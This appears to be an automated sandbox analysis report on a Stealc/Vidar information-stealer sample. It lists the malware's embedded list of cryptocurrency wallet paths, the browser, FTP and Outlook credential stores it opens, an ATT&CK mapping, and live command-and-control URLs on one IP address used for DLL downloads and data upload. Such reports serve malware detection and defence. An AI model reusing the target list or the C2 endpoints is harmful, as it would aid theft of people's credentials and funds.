Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000001.00000002.2061952905.0000000002A16000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 2736, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 1.2.BitLockerToGo.exe.2750000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe.227a000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe.2418000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe.23ca000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe.23ca000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe.227a000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe.2418000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.BitLockerToGo.exe.2750000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2061345852.0000000002750000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1843071659.0000000002418000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1842034533.00000000021D6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1843071659.000000000227A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1843071659.00000000023CA000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2061952905.00000000029D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 2736, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: BitLockerToGo.exe PID: 2736, type: MEMORYSTR

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C9E0C40 sqlite3_bind_zeroblob,	1_2_6C9E0C40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C9E0D60 sqlite3_bind_parameter_name,	1_2_6C9E0D60
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C908EA0 sqlite3_clear_bindings,	1_2_6C908EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	411 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	144 System Information Discovery	Distributed Component Object Model	1 Email Collection	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	21 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	411 Process Injection	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	53%	ReversingLabs	Win32.Spyware.Vidar
5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	55%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Reputation
http://147.45.44.221/3538548809da56b2/msvcp140.dll	true	unknown
http://147.45.44.221/3538548809da56b2/vcruntime140.dll	true	unknown
http://147.45.44.221/3538548809da56b2/mozglue.dll	true	unknown
http://147.45.44.221/3538548809da56b2/sqlite3.dll	true	unknown
http://147.45.44.221/28166bd28a5d19e6.php	true	unknown
http://147.45.44.221/	true	unknown
http://147.45.44.221/3538548809da56b2/nss3.dll	true	unknown
http://147.45.44.221/3538548809da56b2/softokn3.dll	true	unknown
http://147.45.44.221/3538548809da56b2/freebl3.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://doi.org/GTB	5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	false		unknown
https://duckduckgo.com/chrome_newtab	JEBFIIIE.1.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	KEHDBAEGIIIEBGCAAFHIDHDBFB.1.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	BitLockerToGo.exe, 00000001.00000002.2061380170.00000000027AA000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp, JEBFIIIE.1.dr	false	URL Reputation: safe	unknown
http://147.45.44.221/28166bd28a5d19e6.phpD	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://147.45.44.221/28166bd28a5d19e6.php;	BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A16000.00000004.00000020.00020000.00000000.sdmp	false		unknown
